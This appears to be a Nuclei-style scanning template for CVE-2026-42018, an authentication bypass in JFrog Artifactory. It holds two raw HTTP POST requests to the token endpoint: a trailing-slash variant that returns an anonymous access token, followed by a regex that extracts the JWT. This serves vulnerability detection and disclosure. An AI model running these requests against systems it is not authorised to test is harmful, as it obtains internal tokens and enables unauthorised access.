id: CVE-2026-42018

info:
  name: "Jfrog - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    JFrog Artifactory could return an internal anonymous-user token to an unauthenticated caller when anonymous
    access is disabled, potentially exposing sensitive resources.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42018&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=jfrog&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42018
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /access/api/v1/aws/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /access/api/v1/aws/token/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token") && contains(body, "anonymous")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: anonymous-jwt-token
        part: body
        regex:
          - 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'